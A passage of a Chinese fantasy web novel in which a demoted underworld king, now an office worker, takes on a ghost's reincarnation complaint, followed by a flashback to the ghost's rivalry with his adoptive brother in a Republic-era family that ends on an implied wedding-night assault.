心想:传吧,传得越热闹越好。
最好能把那个孟小七的风头,彻底盖过去。
18. 第一个客诉工单
清晨,窗帘边缘透进一层白光,将卧室从一片混沌中勾勒出轮廓。阎璟的身体还沉在昨夜残留的梦境里,耳朵却听见院中的一声鸣。鸟儿清脆的歌声将阎璟的意识唤醒,意识回流,想起昨夜和冷樾谈心,又想起今天即将要面对的流言蜚语,他只想逃。
为什么?他入职几天,这公司的八卦就围绕他几天。
今天估计更甚!
晨光中,冷樾像个走错片场的演员,那身挺拔西装裤包裹在碎花围裙里,挽到胳膊肘的衬衫袖口,一丝不苟的领带,步履沉稳,动作优雅,腰线干净利落。
他一大早起床做好早饭,摘取围裙,前去轻轻敲醒阎璟的房门,“小璟,起床吃早饭。”
阎璟听到门外的声音,下意识用胳膊遮蔽住眼睛,缩进被窝里,闷声闷气,“我心里不舒服,能不能请假?”
冷樾一听阎璟身体不舒服,立刻紧张起来,“小璟?我进来了。”紧接着问:“你哪里不舒服。”
被窝里的人,把自己蒙的严严实实,冷樾进来的第一件事就是伸手去拽被子,让他的小脑袋露出来,再去试探他的额头的温度,看他有没有发热。
阎璟从始至终闭着眼睛,躺的笔直,头上的头发微微翘着几撮,“我一想今天要去公司,就想从地上找个缝钻进去。”
没有烧,脸色也很红润,不像有病的样子,冷樾下意识松口气。
“原来是担心这个,放心吧他们不会议论你的。”
“真的吗?”
“我在,他们不敢。”冷樾把他的被子掀开一角。
阎璟更加有气无力,心想:对,你是总监大人,他们当然不敢,自己就不一样了,“冷总监,您大发慈悲,公司里,千万别太跟我亲近,行吗?”
冷樾也特别无语,他去伦晖就是要和阎璟亲近一些,这倒好,正主反而不想他靠近。
“行,除了工作上的事,尽量。”
得到冷樾的保证,阎璟心里松了一口气,立马坐起身来,睡衣歪歪倒倒,露出肩膀一角,冷樾眼神下垂,盯着那片白皙的锁骨,实在太想咬一口,忍住忍着,用力克制住自己别开视线。
阎璟不已为意,接过冷樾转身递来的衣服,开始换装。
果然,两人到达公司地下车库时,虽然一路上有不少人眼神朝他看,但却没有多少议论的声音。
阎璟一看冷樾那张脸,就明白,为什么没人敢议论,确实不敢!
别人不敢,不代表白念生不敢,阎璟刚坐下白念生脚下滋溜一滑,连人带椅子,整个身体凑了过来,那双眼睛就算没说话,也清楚的表达[有情况]的八卦。
阎璟立刻打断他即将问出的话,“别问,问就是没有。”
“切!你知不知道,昨夜群里到处在传你和冷总监的照片,爆炸性新闻,炸了一夜,都在讨论你和冷总监的关系。”白念生挑挑眉,“我替你说好话,可是完全没有用,他们都觉得你和冷总监有一腿!”
阎璟的第一杯咖啡,刚喝口中,又喷了,“你是真的想死吗?”
白念生悻悻,“是那群大黄丫头们说的!”
“我现在只听到你说的。”
“我只是转述。”
警报!警报!滴……!
投诉工单植入!
突然,业务部门楼层广播智能人声响起,没有感情的机械式女声,“工单编号0107202601014385,投诉内容:本人死去六十年未投胎,地府办公人员是吃干饭的吗?什么办事效率!投诉人:沈松岩。诉求,转世投胎,不喝孟婆汤。”
沈松岩?
这名字好熟悉,阎璟转念一想,是他!
白念生表情凝重起来,自言自语,“不对啊,这投诉工单号怎么会是总部派遣下来的。”
还是从地府【往生预约系统】里派下来的。
紧接着,业务部门召开【三级突发】事件会议,各组代表携组员全部入会。
会议室内。
冷樾坐在首位,接过客服转过来的工单资料,低头认真看了两遍后,才缓缓朝着各组组长脸上扫视,“哪组接?”
接这种客诉工单基本都是吃力不讨好,尤其是这种死去很多年,执念太深,客户的满意度很难满足,搞不好就会弄巧成拙!
众组长支支吾吾,谁也没有想接手的意思。
崔珏在一旁盘着手里的佛珠,感慨道:“这用户也挺执着的,这死了六十年还惦记完成心愿,转世投胎。”
会议室里陷入了僵局,冷樾嘴角带笑,“既然如此,我来确定人选。”
这话一出,每个人心里都十分忐忑。
“就……”
冷樾话还未说出口,坐在一旁的阎璟轻飘飘举起了手,“冷总监,派发给我吧!”
崔珏愣愣看了阎璟一眼。
白念生的眼睛也睁大了,在桌子下小心翼翼的拽阎璟的衣角,“你疯啦,烫手山芋你也敢接?”
反观阎璟倒是淡定,“就当历练一下。”
不同于他们这组,其他众人豪不客气的松了口气。
冷樾淡定看向阎璟一眼,亲手把资料放到阎璟面前,对着众人,“散会。”
众人齐齐散场,只不过,每个人走时,那眼神里对阎璟都带着无比的同情。
白念生生气,“你说说你,说你什么好。业务不是这么做的。”
阎璟没理会他的话,把工单资料一拿,转身出了会议室。
刚出会议室,就遇到刚刚的客服小姐姐,“阎璟,冷总监让你有空去他办公室一趟。”
“嗯?有情况?”白念生刚刚还在生气,这会子又把脸伸到他面前,一脸吃瓜的表情。
阎璟眼不见心不烦把他的脸一把推过去,转身跟着客服小姐姐去总监室。
“去倒两杯茶来。”冷樾吩咐道。
“好的。”小姐姐把人领到位置,便出去倒茶。
“坐。”
闻声,阎璟从容坐下,他再等冷樾先开口。
果不其然,冷樾看了一眼他手中的客诉工单,缓缓开口说道:“用户投诉是很正常的一件事,公司虽然有考核,但也不是每个都无法申诉,先把事情的前因后果弄清楚,再谈用户满意度。”
阎璟当然知道,他接这个单子主要还是因为,此人他认识。
况且,这个客诉搞不好还是他自己给自己找的事,于情于理,他责无旁贷。
阎璟想的一点错都没有。沈松岩一路飘到黄大仙的山神庙,跟黄大仙哭诉半天,黄大仙原
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本想把人赶走,但一听说是阎璟让他来的,想起阎璟这个道士的邪门之处,也为了不给自己找事,还真的收留了沈松岩这个需要考古的死魂。
在山神庙等阎璟的这段时间,黄大仙听说沈松岩的遭遇,居然在人间游荡六十年未登记入册和转世投胎,一时悲愤,立马怂恿沈松岩去投诉。
一纸诉状告到冥界地府,地府接到来自人间界的投诉的工单,立刻派工到当地最近的管辖的公司进行处理。
然后,就这个好死不死的就近原则,那就到伦晖这个冤大头头上!
阎璟望着上面沈松岩的名字,“这是真鬼魂的投诉,我责无旁贷。就交由我处理吧!”
冷樾知道阎璟此人一旦做了决定别人轻易改变不了他,也不多说什么。
客服小姐姐放下茶杯,便把门带上出去了。
此时,办公室陷入沉静,冷樾不开口,阎璟也不知道该说什么,一味低头吹饮。
两人又坐了许久,冷樾才开口,“中午,一起吃饭。”
阎璟差点被茶水呛到,冷樾赶紧站起身给他拍背,“小心点,茶有点烫。”
阎璟心想才不是被热茶烫到,是被你的话惊到的,“冷总监,就算了吧!我跟白念生一起……”
“你很白念生关系很好吗?”冷樾立刻问。
阎璟莫名其妙,“他目前带我跑业务,是前辈。”
“他身份特殊。”冷樾接着说。
“我知道。”
就问这个公司哪个人身份不特殊,从高层管理到保洁保安,就他妈没一个正常的人。
“我下午要去出差,正好有空,先送你过去。”
阎璟立刻摇头,总监大人当苦力,他可用不起,“别!我找白念生就可以了。”
“……”
阎璟在冷樾办公室待半个多小时,才被冷樾放出门。阎璟出来的第一件事就是跟崔经理报备,再去人事报备,日常业务外出工作。
冷樾站在窗边看着高楼下那道身影绕过花坛,跟路边停着的一辆白色丰田打招呼,主驾驶上的人正是白念生。
走了一个孟小七,又来了个白念生。
阎璟说出目的地,白念生一脚油门往前开去。
不知道为什么,他坐冷樾的车从来没想过自己学开车,可和白念生在一起,总觉得,既然已入世,那么就得入乡随俗。
不知道学开车难不难!
白念生吹个口哨,让阎璟回神,“想什么呢?这么入神?”
阎璟轻轻摇头,”没什么!对了,你学会开车,用了多久?”
“两个月。”白念生实话实说,他刚到人间界就去考了驾照,对他来说简直是小儿科,踩踩刹车,踩踩油门,驾校教练示范一遍,他就记住了。“特别简单。你要学吗?”
阎璟抿了抿唇,“嗯,是有这个打算。但是我有点怕,还是等把事情处理完毕后再说吧!”
“问问孟小七,我记得前几年公司提供驾照报考的服务,只要报个名就行,钱由公司报销,要不回来我帮你问问她。”
“我在考虑考虑!”阎璟道了声谢,开始翻看沈松岩的资料生平,用平板登录【往生预约系统】。
红色赤字组成乱码。
登录失败!
19. 闹别扭的阎王大人
白念生一路把车来到青灯山顶。四周树木葱葱,山神庙前,零星有几位游客正在打卡拍照。
也有许愿的,还真有许愿的。
看到阎璟和白念生一左一右从车上下来,不由投来几分好奇的目光。
“失策,不应该白天来才对。”阎璟小声嘟囔一声,随后看向白念生。
白念生被阎璟的眼神盯的头皮发麻,“你干嘛瞪我?”
阎璟理不直气也壮,用手在空气中比划两下,“你不是有判官笔吗?我看你上次就在空气左划一道,右划一道,结界就布好了。”
“你还划上瘾了是吧!”白念生反瞪他一眼,啐他一脸,“此地又没有亡灵的气息,我拿什么划,割血划?”
阎璟被他呛的有点委屈,若不是自己的神力就剩那么一丁点,哪里需要白念生。
郁闷的靠在车窗边,伸手把副驾平板拿出来,再次登录预约往生系统,结果依然还是不行。
阎璟扫视一圈,侧转过身,背对游客和白念生,暗中使用神力,十分费劲,终于在识海中连接阴阳两届,直接登录地府后台云端数据库。
但反噬也随即而来,脸色苍白,眉头一皱,脚下虚浮,几乎站不稳。
也不行!
为什么?
他早就发现,不管是识海中的还是app上的系统,只要把沈松岩的名字输上去后,都需要在额外预约支付功德才能预约往生。
什么破设定?
这两者不冲突吗?谁发明的?
“啪”的一下,阎璟把平板盖上扔回副驾。
破玩意!一点用没有。
还害他过度使用神力,挨了反噬。
阎璟从来没有感觉到头顶的阳光如此刺眼,晃神一瞬,脚下踉跄,扶着车身,差点没倒下去。
白念生在山神庙前前后后转一大圈,边走边喃喃自语,“原来孟小七口中说的的就是这个呀!山神?真的假的?”
旁边的小姐姐从阎璟一下车,就注意到这个干净清冷的男孩子,不由多看几眼,见他似乎身体不适,想上前帮忙,又碍于阎璟周身生人勿进的气场,连忙转头去叫另一位朋友,大声叫喊:”喂,小帅哥,你朋友是不是快晕了。”
白念生还在研究墙上的符纸,闻声抬头望去,不远处的阎璟摇摇欲坠,一手撑这额头,眼看就要倒下。
他赶紧丢了符纸,快步冲过去扶住阎璟,“喂,你怎么了?太脆了吧你!这才多高的山,你就有高原反应了?”
阎璟不想说话,只想闭着眼睛休息。
再听白念生像个苍蝇一样在他耳边唠叨,更是疲累!
白念生把阎璟扶到最近的一块石阶上坐好,又跑回车里拿水,拧开盖子,蹲下身递到阎璟嘴边,一点点喂他,“喝点水?”
阎璟就着他的手喝了几口,凉水下肚,总算能舒服着。
就是动作太过于亲昵,一个坐着,一个蹲在其面前,蹲着那个人的眼神里满是关切。
此刻两人都没注意到,后面的两个女生悄咪咪拍了几张照片,就这么正大光明传到了社交媒体上。
阎璟缓过来时,零零散散的游客早已经下山,白念生则是蹲在地上,拔草拔得起劲!
说错了,不是拔草,是找草药。
白念生不知道从哪里摘了几株,看起来有点奇形怪状的草叶,放在手心搓成绿丸,绿色的汁水汇集手心一点,捧到阎璟跟前。
阎璟被他到动作吓到,不会是他想的那样子吧,“你要?干嘛?”
“给你吃啊!”白念生回答的理所当然。
阎璟死死盯着他的手心那团恶心吧啦的东西,又死死盯着他的那张娃娃脸,话都说不利索,“你……你敢把这个塞我嘴里,我一定宰了你,不开玩笑。”
白念生特无语,他特意费劲巴力的找来的,“就你这破身体,虚成这样,还不吃点好的补补。”
“可这是草!”
“是草药,补气的。”
阎璟把脸一转,“我不要吃它,拿走。”
“有用,听哥的,吃下它。乖,阎小璟最乖了。”
“你敢碰我,我一定会宰你,你最好当回事。”
“你别逼我。”
“你也别逼我!”
白念生见软的不行,那就只能来硬的,一只手扣住阎璟的肩膀,右手上的汁水和绿丸逐渐靠近阎璟的唇边。
“张嘴!白哥会害你吗?”白念生软硬兼施,虚弱的阎璟顿时被压的动弹不得,只能拼命后仰,整个后背几乎平躺在石阶上。
就那,他仍然死死抿住唇瓣,双手使出所有的力气,不断推搡压在自己身上的白念生。
“emmmm%@“&《&#@?……”
“别挣扎了,你信我,可以的,我对人间草木有有研究。”
再也研究也不行!
“呜,唔……奏开!”这是阎璟在人间界第二次体会到可怕和恐怖的感觉,第一次还是在千年前,这一次居然是拜眼前这人所赐。
可就当白念生正要得手之际,突然后面出来一道声音打断了他。
“这是山神庙,不是月老庙,你们在干嘛?有没有点道德心,羞耻心,光天化日,朗朗乾坤,逼良为娼!……”
好一番义正辞严的控诉,说得白念生瞬间泄了力道,正好让阎璟逮到机会,一把将身上的人推开,顺势“啪”的一下,打落他手中那团诡异的草药绿丸,动作快得白念生都没反应过来。
得救了!
阎璟松了口气,撑着手慢慢坐起身喘息。
一转头,却见黄大仙握着一根权杖,正站在他们面前。
黄大仙一见是阎璟这尊衰神,整个人一哆嗦,转身就想溜。阎璟立刻叫住他,声音还带着微喘,“先别走,我有话问你。”
黄大仙只得止步,嘴角扯出一抹苦笑。
白念生蹲在地上,盯着那颗恐怖的炸弹,只是一位味可惜了自己搓的药丸,“你太浪费了。”
原来,白念生在那药丸里偷偷加了一些灵气,人间界灵气本就稀薄,不似天界和冥界。
弄成药丸也只是有个噱头,让这件事合理化,不然,直接给阎璟灌输灵气,这人估计得吓懵不可。
可自己的好心,到头来,却竹篮打水一场空,搁谁心里都不好受。
阎璟哪里知道这些,就算知道,这人要把那么恶心的东西塞他嘴里,那也是绝不会让的。
阎璟缓了一会儿,才试图起身。方才恢复的那点力气,全用在对付白念生这倒霉孩子身上了,一时竟有些腿软。
一旁黄大仙咿呀咧嘴,一脸看不下去的神情,想伸手搀扶,又被阎璟一个眼神逼退。
“沈松岩呢?”阎璟问。
此时,黄大仙才恍然大悟,“哦,你是来找小松的呀?他在我家呢,过得很好。”
白念生已经用刚刚阎璟喝剩下的矿泉水洗过手回来了,想去把阎璟扶起来,阎璟被他动作又吓一跳,身体下意识后退,”别,你别碰我。”
白念生以为他嫌自己手脏,再三解释,“我洗过了。”
”洗过也不行。”阎璟心里膈应的紧。
白念生暗骂一声矫情,转头看向黄大仙,“黄……大仙人是吧,去把沈松岩叫过来吧,我们有事找他。”
黄大仙能在青灯山屹立这么多年不倒,与他为人处世之道分不开。
撇开阎璟不说,单看白念生身上那层别人不易察觉的,若隐若现的蓝光,就知绝非寻常之人。
而阎璟这人,乍看那层皮肤之下,简直纯良到极点。
可即便如此,黄大仙也不敢有丝毫轻视,其他都可能是表象,唯独阎璟那一身掩不住的气度,还有那双仿佛能洞察一切的眼睛,都在他心里敲响警钟,此人万不可得罪。
况且第一次见面,阎璟就给他留下了极深的印象,想忽略都难。
说不上为什么,打从第一眼见到这人,他就有点发怵,明明看不出半点武力威慑。
想来想去,可能是眼神比较摄人吧!
“贵人,要不去我家里坐坐?喝杯热茶润润嗓子。”
白念生不想劳师动众,
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赶紧拒绝,“行了,不用这么麻烦,你回去把沈松岩带来,我们在这等你就成。”
阎璟没作声,算是默认白念生的做法。
黄大仙也不好多说什么,转身一阵白烟消失无踪。
此时,山神庙前就剩白念生和白璟两个人面面相觑。
阎璟现在一见到他,就气不打一处来,他可还记得刚刚的事呢!
白念生看阎璟不识趣,如此糟践他的心意,也有点生气。
两人就这么四目相对,空气凝固了五秒。
随后,他们同时开口,各说各话,声音一个比一个响:
白念生:“你知不知道我刚刚是在好心帮你,就你那点破道行,干啥啥不行,也就我带着你,你去瞅瞅,咱们A组有哪个像你这样弱不禁风,真不知道你之前怎么面试通过的……”
阎璟:“白念生,你若下次再敢这样对我,我绝对绕不了你,我活这么大,从来没有这么屈辱过,你可真是好样的,若还有下次,我宁愿受着天道反噬,也要给你点厉害。”
白念生:“吹吧你就!”
阎璟:“你给我等着。”
白念生:“哼!”
阎璟:“哼!”
话音刚落,两人同时别过脸,各自耷拉着耳朵,嘴也噘得老高,谁也不理谁。
黄大仙去得快,回来得也快,没多久便拎着沈松岩回来了。
他察觉气氛不对,目光在两人之间转了几转,将沈松岩往地上一放,“贵人,我还有事,就不多陪了。您请自便。”
“啪”又是一声,化作白烟再次消失不见。
沈松岩原本在黄大仙家补觉,准备晚上出来吓人,谁知这一睁眼就换了地方,再一抬头,阎璟那张脸出现在他面前。
“恩人。”沈松岩又惊又喜。
白念生正憋着火没处撒,不能朝阎璟发火,这不就来个倒霉蛋,上去一把拽住沈松岩的衣领,“就是你这家伙投诉投胎效率差?”
阎璟皱起眉头,“白念生,放开他。”
白念生哪肯罢休。谁不知道如今冥界地府最忌讳满意度不达标,投诉频发,管理不善。
天道连他们老大都被神罚了,这会儿还不知道在哪儿受罪呢。这节骨眼上,居然还有不怕死的顶风作案!
“兄台,咱有话好好说,我没有投诉,是黄大仙投诉的。我只是挂个名,他说这样会效率更快一些,也更能引起上层的注意。”沈松岩慌忙解释道:“果不其然,黄大仙是对滴,这不就把你们等来了吗?”
“来什么来。”白念生气的火冒三丈,”事我解决不了,但我可以解决你,信不信我直接法灭了你。”
“住手。”阎璟起身,拦住白念生停在半空准备揍沈松岩的手。
这下可算知道了,自己这回受罚,真的是活了个该,一点不冤。
人间办事的业务员尚且如此态度,何况地府那些眼高于顶的高管。御下无方,管理疏漏,下面阳奉阴违……细细数来,桩桩件件,根源都在自己。
因为讨厌交际,因为社恐,因为懒得多言,导致上下断层,才酿成今日局面。
不冤。
他转头看向被白念生晃得差点魂飞的沈松岩,开口道:“我会帮你了却人间执念,助你投胎,你可愿配合。”
沈松岩不可置信,喜出望外,“天呐!我是遇到菩萨了呀!你真的愿意帮我?”
菩萨?
阎璟原本还算平静的脸色顿时一黑,心里那点愧疚瞬间消散无踪,“是我助你,跟菩萨有什么关系?”
这声音陡然提高,把旁边的白念生也吓了一跳。
“不是,你长得这么好看,心肠又好,我是比喻你跟菩萨一样慈悲而已。”沈松岩小心翼翼的解释。
阎璟闭上眼,懒得开口说话。
敢情他堂堂阎王爷做了好事,最后功劳全归菩萨?
“我不喜欢菩萨,更讨厌秃驴。记住了吗。”
“那我要怎么说。”
阎璟:“……”
当然是谢谢阎王爷大人!
20. 沈松岩和沈岱青1
沈松岩这起客诉并不好处理,最大的原因还是因为,时间跨度很长。
白念生登录生死簿app把沈松岩的名字输入进去,不多时,此人的履历生平历历在目。阎璟不用看也知道,都是一些官方的东西,生死簿上虽有名字,但结果肯定是模糊两可,插科打诨,不了了之!
被阎璟猜个正着,白念生“咦”一声,上面红色的名字尤其刺眼,“你没家人吗?”
“有啊?”
“怎么显示,你父母那栏是空的!你死后也没个人给你收个尸,挖座坟,烧个纸什么的?”
沈松岩不记得了!
从他有意识开始,他的记忆就开始模糊不清。
要是有人惦念,沈松岩可能也不会是个无主无宗的幽魂,四处飘荡,阎璟望着那虚影,“道出你的执念,别说重生报仇文学,这里不是那个频道。”
沈松岩叹了口气,略有点失望,“那漂亮的好人,你帮我查清楚当年事件的真相行吗?我想知道,为什么,他一定要我死。”
“他!”白念生疑惑不解?“这个他是谁?”
阎璟如果没有记错,就是,“他弟弟,沈岱青。”
“弟弟?”
沈松岩咬牙切齿,连带着那虚无的脚,好似还在空地上跺几脚,恶狠狠说道:“他好像夺了我未婚妻,还杀了我。”
白念生哇哦一声,眉毛一挑,”绿帽子挺亮堂的。”
沈松岩无语:“……这话我好像在哪听过。”
阎璟抿唇,低头不语。
百余年前,沈家祖上本是富庶大户,产业繁多,其中也不乏一些灰色经营。
因此,家中既招人眼红,也难免惹来祸患。到了他父亲这一代,沈家的独子竟遭仇家绑票。
当时的警署虽最后将贼窝捣毁,却始终找不到那孩子的下落。
多年来音讯全无,众人都以为他早已遭撕票,不在人世。
谁知那孩子机灵得很,竟在营救之前便自己逃了出来。
只是逃跑时不慎摔伤了头,从此流落在外,后来被当地一个走私军火的山匪头子收养,直至成年。
在沈岱青回到沈家之前,沈松岩一直是沈家引以为傲的“独子”。
直到真正的血脉被寻回,他这个养子的身份便自然退居其后。
沈岱青名义上是他的弟弟,也是沈家名正言顺的继承人。
这一点,沈松岩心里清楚,也从不敢妄想争夺什么。
可他一再退让,换来的却是沈岱青的步步紧逼。
最终……
一路听沈松岩的陆陆续续的叙述,阎璟和白念生高速驾车奔驰。
下午三点时分到达隔壁W市,按图索骥,找到当年沈家的老宅所在的位置。
那老宅目前是空置状态,隔壁只有一对老夫妻居住。
两位老人见到阎璟和白念生,一时讶异非常。
“你们找谁?”老者的声音气若游丝,有气无力。
白念生从阎璟身旁往前半步,带着礼貌性的微笑,“请问,二老认识沈松岩吗?”
老夫妻对视一眼,欲言又止,反问道:“你们是?”
“我们是沈叔祖的至交好友的后辈,算是……孙辈吧。受祖父所托,前来拜祭。”白念生随便编了个由头。
“你们随我进来吧!”老者让开了门。
阎璟和白念生交换个眼神,又同时瞥向身后那个别人看不到的,飘在半空的沈松岩。
“你们来的也巧。”老人引着他们往里走。“我儿子今天也会从京城过来,如果你们时间宽泛,就等等他。”
等人?
“是有什么说法吗?”白念生问。
正在一旁给他们沏茶的老婆婆轻声笑了,“我们年龄大了,有些后事总要给后代交待清楚的。”
“是关于沈家。”阎璟问。
老婆婆点点头,“是啊!当年我父亲也是如此,受人之托总要忠人之事嘛。”
看来是找对了,阎璟看着两个老人身上发出的黑气,便明白,这对老人寿命将近了。
如果他们再晚一些,可能就……
“当年沈家的商业势力可是占据W城的大半,怎么突然就落寞了……”后面的话自不用多说。
老婆婆先是叹了口气,将茶水放在两人面前的茶几上,眉宇间陷入回忆,缓缓开口道来:“事情还要从头说起,要说当年的沈大少爷,是个意气风发,温良恭俭,品德兼优,谁见都欢喜的好孩子,只是可惜,那孩子走的早,年纪轻轻就没了。”
那“意气风发、温良恭俭、品德兼优”的沈家大少沈松岩,此刻正在客厅的上方的横梁上飘来荡去。
白念生眼神刚想向上瞟一眼,腿上就遭到阎璟轻轻拍了一记,“坐端正,别乱瞅。”
阎璟垂下眼眸,轻声道:“我知道,是车祸。”
老婆婆苦笑一番,走到老伴身边坐着,“对外界,都是这么说的。”
“难道……另有隐情?”
老夫妻相互看向对方一眼,“老头子,你说呢?”
那老爷爷摆摆手,“说罢说罢,过去几十年了,早已经尘归尘,土归土了。”
阎璟和白念生不约而同竖起耳朵。
连横梁上那位也飘了下来,翘起腿,一副要认真听听自己到底怎么死的模样。
老婆婆说:“我家祖上,是沈家当年的管事。那件事发生的时候,我刚满十岁。”
声音渐沉,“我记得特别清楚,那天正是我的生日。院里张灯结彩,挂着红绸,老远就听见有人喊:双喜临门,双喜临门呐……”
……
……
民国五十年冬,腊月十八,天刚蒙蒙亮。霜气凝结在青瓦上,一层薄薄的白。城里静悄悄的,沈宅却已经醒了。
管事的福伯裹着厚厚的棉服,领着十几个下人开始忙活起来,到处是张灯结彩和下人们欢乐的笑声,两个小丫头踩着凳子,踮着脚尖往廊檐下挂大红灯笼。
后院的婆子们,一边挂着红绸,一边低声絮叨着主家的好,老太太说了,今个事成,人人都有双倍的赏钱,还能得一块上好的松江棉布,过年裁新衣裳穿。
“小福星,你今年有新衣服穿喽,开不开心?”
“开心。”
旁边忙活的人忍不住逗她,“福星今年多大了?出落得这么水灵。”
“十岁了,婶娘。”奶声奶气的声音听着就让人喜欢。
前厅后院的欢声笑语感染很多人,后院的主卧房里的人也醒了过来。
又过了一会,从里面走出个穿戴整齐的老夫人,头戴玉簪,被下人搀扶着,望眼欲穿的往前边走。
刚走没多远,遇上早上前来问安的沈家家主沈珩,“母亲,您
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慢点,别摔着。”
“哪里就摔着我了,我的乖孙呢?还没来。”老夫人心急如焚。
“松岩已经去接了,别担心。”
两人快步朝前面的正厅走去,正说着话,外面的下人着急忙慌的跑进来,“老爷,老爷,少爷回来了,已经到大门口了。”
“哎呦!天可怜见,我的孩啊!”老夫人明显情绪比较激动,不管众人阻挠,一定要前往前厅迎他的小孙子。
沈松岩第一次见到沈岱青时,着实被惊艳到,那模子跟沈父年轻时如出一辙,都是身材高大的练家子,面部轮廓具有冲击性,更何况,这些年他在外面枪林弹雨,比起沈父更是有过之而无不及。
虽然他自认为自己也不弱,可这一对比一下,差距一下就上来了。
沈岱青不喜说话,沈松岩更不喜,所以,这一路上,两人从始至终也没说过话。
司机透过后视镜,瞧着两家少爷的表情,似乎都没有很高兴。
大少爷不高兴,是因为半途杀出个程咬金来跟他分家产,而二少爷不开心,是因为,这些年原本属于他的东西,都在别人身上。
所以,流言蜚语就这么起来的,哪怕当事人都没有如此想,一举一动,便会被不明真相的下人编进野史,不断放大!
临近家门,沈松岩作为哥哥,如果还不开口,未免有点有失体统,到跟前才忍不住叮嘱,“祖母身体不好,你……”
“我知道我回来要做什么,该做什么。”这是沈岱青跟他说的第一句话。
沈松岩点点头,并未生气,温润君子的温柔展现的淋漓尽致,“进去吧!大家都在等你。”
从他们踏入沈家正门开始,庭院里所有的目光,仿佛都在这一刻凝聚。
沈家的独子经过多年,终于被找了回来,全家都非常高兴,沈父尤其。
一路过正门,游廊,垂花门,中庭院,直至正房。
“父亲,祖母,我把弟弟带回来了。”沈松岩走上前,深深一揖,声音里带着长途奔波的疲累,但却沉稳有力。
正中端坐的沈父没有立刻去看那抹身影,反而闭上眼睛,深深呼出口气,拼命压抑着冲破喉咙的激烈情绪,半晌才站起身,眼底一片通红,连说了三个“好!好!好!”
“好孩子,你辛苦了!”沈珩快步向前,手掌扣上沈松岩的肩膀,力道大到指尖泛白,声音里似有千金重,但在这一刻终于卸了下来。
沈松岩明白父亲的激动的心情,识趣地侧身让开,让他们相见。
正厅的朱红门槛外,冬日的初阳斜斜涌入。
沈岱青就这样踏着光影,一步步朝他们走来。
修长高挑的身影,穿着半新不旧的长衫,眉宇间是历经沧桑的沉静,轮廓与沈父有几分相似。
等在一旁望眼欲穿的老夫人,搭在膝盖的手止不住颤抖着,手下的娟帕无意识的缴紧,泪水浸满整个眼眶。
沈岱青的脚步停在阶下,抬起头,目光越过眼角泛红的父亲,并没有多少真情实感,目光最终落在那一脸慈祥望着他的老夫人身上。
他嘴唇微微动,似乎有千言万语,最终也只是撩起衣摆,朝着那坐着的源头,庄重地,缓缓地,屈膝跪了下去。
“我的乖宝哎……!!”
老夫人终于忍不住上前抱住了人,一片温情的哭声中,沈松岩也默默流下了泪。
21. 沈松岩和沈岱青2
自从来到沈宅,就没人见过沈岱青脸上有过笑意。
沈老夫人和沈父爱子心切,只盼着这孩子能过得舒心些。
这天,沈父将沈松岩叫进书房,商量码头一批货物运输的事。话里话外,总绕不过沈岱青,字字句句,都是盼着他这个做哥哥的,能多照顾那个失而复得的弟弟。
沈松岩自然是应下了。
毕竟,是他占了“沈家少爷”这个身份,也是他享尽了本该属于沈岱青的偏爱与荣光。
于是,沈松岩多次白日里找不到人后,寻了个夜深时分,去找沈岱青说话。
可这一谈,终是不欢而散。
“听说大少这几日都在商铺里忙,连府上都没回。”
“竟有这事?……可当真?”
都知道松岩少爷是当年夫人痛失幼子几年后,特意去领养的,据说,夫人一见到松岩少爷就喜欢的不得了,所以哪怕夫人故去,松岩少爷在沈家,那待遇跟亲生也没什么两样,但前提是,真正的沈家少爷没有回来。
可事到如今,真假两位少爷,见面都尴尬!
经过上次夜谈之后,沈松岩便不着痕迹地往后退,渐渐将手头几处要紧账目都转交给沈岱青打理。
一来是父亲默许,二来,沈松岩自己也明白,这是告诉沈岱青最直白的方式,不必处处提防,更不必将他视作敌手。
可是,沈岱青既没有遗传沈家经商的天赋,也没有表现出对此有多感兴趣。
此刻,沈岱青望着书案上堆起近几十公分高的账册文书,微微怔住。
沈松岩就站在案前,神色平静如常,一册一册指给他看:
“这是城东布庄三年的进出细目,这是码头货仓这半年的流水,还有这几本,是年前与苏杭几家绸缎庄往来的契据……”
他的声音不高,却字字清晰,像早春化开的溪水,平稳而坦荡地铺展在两人之间。
沈岱青盯着那一张一合的嘴巴看了很久,直到沈松岩忍无可忍的敲桌子,“听清了吗?听懂了吗?”
沈岱青把头一转,眼神转移,咽了口水,“沈松岩。我饿了,咱们去吃饭去。”
“叫哥哥。”沈岱青从不叫他哥哥,他对此无可奈何。
“能大多少?还真充当起做哥哥的气派来了。”沈岱青的一句话把沈松岩堵死。
说来也怪,沈家两位少爷,明着里好像怎么都是对立的状态,可私下又常常看到走在一起。
沈松岩对这些流言蜚语不以为意。
两人就这样维持表面平衡的过了好几个月。
事情的转折是沈家和冯家的婚姻,原本冯家小姐要和沈松岩结婚,这个也是两家在沈夫人在世时就商定好的。
沈松岩乐见其成,或者说,他一直都希望能早日脱离沈家。
更何况,沈家如今还有沈岱青在。亲生的在此,他这个冒牌的怎么也得识趣往后退!
两家商量结婚事宜的当天,沈岱青脸色尤其难看,拉着沈松岩回房,把人堵在房间,“你真的要娶那个姓冯的。”
沈松岩被他的态度整得莫名其妙,“冯家小姐与我相识多年,她为人和善,是个不错的……”
“所以你要娶他!”沈岱青那双眼睛像一把利刃,似乎要将他身上射出个窟窿。
“如果是父亲的意思,我会。”沈松岩态度坚决。
父亲?
“我若不准呢!”
“为何不准?”沈松岩想破脑袋也想不出来,这件事究竟和他有什么关系,娶亲的又不是他。
沈岱青不怒反笑,“好,很好,且看着吧!”
自那日后,沈岱青再也没有给过他好脸色,更甚开始横刀夺爱,当着他的面,主动向冯家小姐示好。
这一行为,自然惹得沈父和沈老夫人注意,纷纷猜测,岱青这孩子难道钟意冯家小姐不成?
反观,沈松岩觉得他这行为相当幼稚,思来想去,他的目的就是想让自己在这个家里更难过,或者出丑罢了。
沈父不愿看两个孩子为了一个女人争风吃醋,暗中把沈岱青叫到书房,试探性询问,可换来的只是沈岱青轻描淡写的话,“我是帮松岩哥哥试试这个女人,看看她值不值得进咱们沈家的大门!”
沈父一时间有些弄不清他的行为做派,只能又找沈松岩细说此事。
沈松岩没有把沈岱青平日对他的恶劣行为的种种行径告知沈父,只是说了一些模棱两可的话,“岱青刚回来没多久,一切新鲜着呢!”
沈父叹气,心里最终也只能接纳这个理由。
婚事依旧不变!
直到婚礼当天,沈松岩被灌得迷迷糊糊,一步一踉跄前往婚房,刚到门口,就听到里面沈家小姐的惨叫。
沈松岩瞬间酒醒过来,猛的推开房门,只见沈岱青压在冯家小姐身上,那双眼神仿佛从地狱里爬出来一般可怕。
“沈岱青!你胡闹也要有个度!”
